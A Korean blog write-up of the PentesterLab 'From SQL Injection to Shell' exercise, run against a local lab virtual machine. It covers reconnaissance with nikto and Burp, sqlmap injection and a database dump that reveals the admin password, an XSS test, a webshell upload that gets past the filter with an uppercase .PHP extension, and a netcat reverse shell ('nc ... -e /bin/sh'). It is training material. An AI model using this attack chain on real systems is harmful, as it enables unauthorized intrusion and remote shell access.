WEB hacking/pentesterlab

pentesterlab [From SQL Injection to Shell] 문제

Roronoa 2022. 9. 20. 09:26
반응형

[From SQL Injection to Shell] 

https://pentesterlab.com/exercises/from_sqli_to_shell/attachments

 

PentesterLab: Learn Web App Pentesting!

ISO The ISO for this exercise can be downloaded by clicking here (169MB).

pentesterlab.com

위 웹사이트에서 실습 문제를 위한 ISO 파일을 다운 받을 수 있다.

 

환경구성

종류는 linux로, 버전은 우분투 32비트로 선택한다.

네트워트는 host_only로 설정한다.

[그림1] 가상 머신 부팅 완료

부팅이 완료되면 ip addr 명령어를 실행하여 IP 주소를 확인한다.

이 아이피 주소가 웹 서버의 IP주소가 되는 것이다. 웹 서버의 IP주소는 192.168.109.131이 된다.

칼리 리눅스에서 웹 브라우저를 열어 해당 IP 주소로 접속하여 웹 페이지가 제대로 표시되는지 확인 해 보겠다.

 

[그림 2] 웹 애플리케이션 메인 화면

정상적으로 웹 서버가 잘 작동하고 있음을 알 수 있다.

 

문제 풀이

웹 애플리케이션을 정보수집 단계부터 시작하여 여러 가지 공격 단계 과정을 거친 후 최종적으로 쉘을 획득하여 호스트 내부로 침투해 보겠다.

실습 과정은 다음과 같이 진행된다.

- 정보 수집(nikto, 웹 애플리케이션 매핑)

- SQL 인젝션 공격으로 관리자 정보 획득

- 관리자 메뉴의 파일 업로드 기능을 공격하여 웹쉘 업로드

- 웹쉘의 위치를 찾아 명령어 실행

- nc를 이용한 리버스 쉘 기법으로 호스트 내부 침투

정보 수집

웹 서버 취약점을 분석해주는 오픈소스 툴 NIkto를 실행하여 정보를 수집해 보겠다.

[그림 3] nikto를 이용하여 정보 수집

버전 정보를 포함하여 여러 가지 정보를 알 수 있다. 디렉터리 인덱싱이 가능하다고 발견되었고, 관리자로 로그인할 수 있는 페이지 정보 등을 쉽게 확인할 수 있다.

그 다음 버프스위트를 이용하여 웹 애플리케이션을 매핑을 하겠다.

버프스위트를 실행하고 웹 브라우저의 요청이 버프 스위트 프록시를 통해 전달되도록 설정한 후 웹 애플리케이션의 메뉴를 하나씩 누르면서 URL 구조 등에 대한 정보를 수집한다.

[그림 4] 웹 애플리케이션 매핑 이후의 버프 스위트 사이트 맵

test, ruxcon, 2010, All pictures, ADmin 등 각 메뉴를 모두 누른 뒤 버프 스위트 사이트 맵 탭에서 웹 애플리케이션의 구조를 쉽게 파악할 수 있다.

이 과정에서 관리자 페이지의 존재 사실을 알 수 있다. 또 하나 특이한 사항은 test, ruxcon, 2010 메뉴를 눌렀을 때의 URL이다. cat.php는 그대로 이지만 id 파라미터의 값이 각각 1, 2, 3으로 다르게 변하고 있으며 이에 따라 웹 페이지의 내용이 달라진다. 웹 모의해킹 시 주요 타깃이 되는 부분이 이러한 파라미터 이므로 이부분을 공략해 보겠다.

 

SQL 인젝션 공격

SQL 인젝션 취약점 가능성을 파악하기 위해 id 파라미터의 값으로 '(싱글 쿼더)를 추가 입력해 보겠다.

[그림 5] SQL 형식 에러 발생

SQL 형식에 관련해 에러가 발생하는 것을 볼 수 있다. 이는 SQL 인젝션 취약점이 있을 가능성이 상당히 높은데, 이 URL을 대상으로 sqlmap 툴을 사용해보겠다. 이 URL에서 테스트를 할때에는 로그인할 필요가 없기 때문에 쿠키 옵션을 설정할 필요가 없다. 따라서 -u 옵션만 사용하여 명령어를 실행한다.

 

[그림 6] sqlmap 실행 화면

결과 중에서 선명하게 강조된 내용을 보면 id 파라미터가 SQL 인젝션에 취약할 가능성이 있다는 메세지가 존재한다.

또한 크로스 사이트 스크립트(XSS) 공격도 가능성이 있다는 내용이 있다. 백엔드 DBMS는 MySQL로 추측이 된다.

 

[그림 7] XSS 공격이 가능하다

웹 브라우저 id 값에 <script>alert(1)</script>라고 입력을 하면 그림 7과 같이 자바스크립트가 실행되는 것을 확인할 수 있다. SQL 인젝션 취약점을 찾던 중에 크로스 사이트 스크립팅 취약점을 추가로 찾게되었다.

 

계속해서 SQL 인젝션 공격을 진행하겠다.

[그림 8] sqlmap 실행 결과 - id 파라미터가 취약하다

id 파라미터가 여러 종류의 SQL 인젝션 공격에 취약하다는 결과가 나온다.

--current-db 옵션을 사용해 현재 데이터베이스의 이름을 알아내보겠다.

 

[그림 9] 현재 데이터베이스 이름(photoblog) 확인

아래쪽에 현재 데이터베이스가 photoblog라고 알 수 있다.

현재 데이터베이스 이름을 바탕으로 DB의 내용을 덤프하겠다. --current-db대신 -D로 photoblog를 설정하고, --dump 옵션을 추가하여 실행한다.

 

[그림 10] 관리자 계정 획득

users(사용자) 테이블을 찾았고, 테이블의 내용으로부터 다음 관리자 계정 정보를 획득하였다.

관리자의 아이디는 admin, 비밀번호는 P4ssw0rd이다.

파일 업로드 공격

획득한 관리자 계정 정보로 정보 수집 단계에서 확인했던 관리자 페이지(admin 메뉴)에 로그인 한다.

 

[그림 11] 관리자 메뉴 로그인

관리자 기능은 간단하게 구성되어 있다. 이미지 파일을 관리하고 추가하는 기능을 가지고 있다. New picture 페이지에는 이미 업로드 폼이 표시된다. 이 폼을 대상으로 파일 업로드 공격을 시도해 보겠다.

Title에 파일 이름을 입력하고 Browse 버튼을 눌러 webshell.php파일을 선택하였다.

 

[그림 12] webshell.php 웹쉘 파일 업로드 시도

Add 버튼을 눌러 webshell.php 파일을 업로드하니 NO PHP!!라는 에러가 발생하였다.

 

[그림 13] php 파일을 업로드하니 에러가 발생한다

php 파일 업로드가 차단되고 있는 것 같은데 이번에는 파일의 확장자를 대문자로 변경하여 업로드를 시도해 보겠다. 터미널에서 webshell.php가 있는 디렉터리에서 mv명령어를 통해 파일의 이름을 변경할 수 있다.

더보기

mv webshell.php webshell.PHP 

파일 이름을 변경한 파일을 다시 한 번 업로드 하였다.

 

[그림 14] 확장자를 대문자로 변경 후 파일 업로드 성공

webshell.PHP로 파일 확장자를 대문자로 바꾸고 업로드하니 웹쉘을 업로드 하였다.

이제 웹쉘을 실행하기 위해서는 업로드된 파일의 경로를 찾아야 한다. 관리자 메뉴 HOME 메뉴를 클릭하면 upload된 파일의 이름이 표시되는데, 이때 웹 브라우저의 소스코드 보기를 이용하여 경로를 찾을 수 있다.

 

[그림 15] webshell.PHP의 경로 확인

그림 15번의 48번째 줄을 보니 admin/uploads/webshell.PHP에 업로드된 것을 알 수 있다. 해당 URL로 접속해 보겠다.

 

[그림 16] 웹쉘이 실행되고 있다.

웹쉘이 실행되고 있다. 웹쉘에 표시된 폼을 통해 명령어를 실행할 수 있다.

 

[그림 17] /etc/passwd 파일의 사용자 목록 출력

리버스 쉘 침투

이 웹쉘을 통해 리버스 쉘 기법을 이용하여 터미널에서 명령어를 내릴수 있도록 해보겟다.

터미널에서 다음 nc명령문으로 4000번 포트를 리스닝 모드로 생성한다.

[그림 18] nc 명령어로 4000번 포트 리스닝 모드로 생성

더보기

nc -lvnp 4000

그러고 나서 웹쉘의 폼에 다음 nc 명령문을 입력하여 리스닝 중인 포트에 접속한다.

[그림 19] 리버스 쉘 침투

더보기

nc 192.168.109.129 4000 -e /bin/sh

[그림 20] 리버스 쉘로 침투에 성공

터미널에서 접속이 이루어진 것을 확인할 수 있다. 쉘을 획득하고 침투에 성공했다.

반응형